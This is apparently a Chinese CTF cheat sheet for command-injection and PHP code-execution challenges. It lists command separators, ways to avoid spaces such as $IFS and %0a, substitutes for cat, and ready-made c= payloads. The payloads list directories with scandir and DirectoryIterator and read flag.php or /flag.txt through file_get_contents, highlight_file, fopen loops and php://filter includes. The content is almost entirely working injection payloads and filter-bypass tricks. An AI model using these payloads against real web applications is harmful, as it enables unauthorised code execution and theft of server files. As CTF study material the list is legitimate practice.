• 封号

    1. &&
      1. 在PHP中&&代表执行两个命令,让后面的命令进入黑洞。
      2. 在shell及bash脚本中&&(逻辑与):只有前一个命令成功(返回值 0)时,后一个命令才会执行。如果前一个命令永远不会失败(如 echo),则 &&; 看起来就像是等价的
    2. %0a\n换行
  • Space空格

    1. Tab

      • Tab(制表符)在 ASCII 码中是 \t(十进制 9)。Space(空格)在 ASCII 码中是 \x20(十进制 32)。

      • 在许多编辑器(如 VSCode、IDEA)或 expand 命令下,Tab 可以被自动转换为多个 Space(一般是 4 个或 8 个)。例如,Python PEP 8 规范推荐用 4 个 Space 代替 Tab

      • 在 Shell 命令行中,多个空白字符(包括 TabSpace)通常会被解析为相同的分隔符。

      • Makefile 里,缩进 必须是 Tab,不能用 Space

    2. $IFS

      • $IFS代表shell里面的空格
    3. <

    4. +

    5. %20

  • cat

    1. more

    2. less

    3. sort

    4. tail

    5. head

    6. sed

    7. cut

    8. awk

    9. strings

    10. od

    11. curl

    12. tac

    13. nl

      1
      
      nl {filename}.xx
      
    14. vi

    15. include('/flag.txt')

    16. reuqire('flag.txt')

    17. reuqire_once('flag.txt')

  • c=print_r(scandir(dirname('__FILE__')));

    1. print_r(scandir('./'))
    2. 参数=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
    3. var_dump(scandir("/"));
    4. 参数=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
  • file():

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    
    //payload示例
    c=echo file_get_contents('flag.php');
    
    c=echo highlight_file('flag.php');
    c=highlight_file("flag.php");
    
    c=show_source('flag.php');
    
    c=
    $a=fopen("flag.php","r");
    while($b=fgets($a)){
    echo $b;
    }
    
    //file()函数:把整个文件读入一个数组中
    c=print_r(file('flag.php'));
    c=var_dump(file('flag.php'));
    
    c=readfile("flag.php");
    
    //一行一行读取
    c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
    //一个一个字符读取
    c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
    c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
    
    1. file_get_contents()

    2. highlight_file()

    3. show_source()

    4. fgets()

    5. readfile()

    6. fopen()

    7. include " ":

      1
      2
      3
      4
      5
      6
      7
      
      c=include('flag.php');echo $flag;
      
      c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php
      
      c=include('flag.php');var_dump(get_defined_vars());
      //var_dump:输出注册变量
      //get_defined_vars():函数返回由所有已定义变量所组成的数组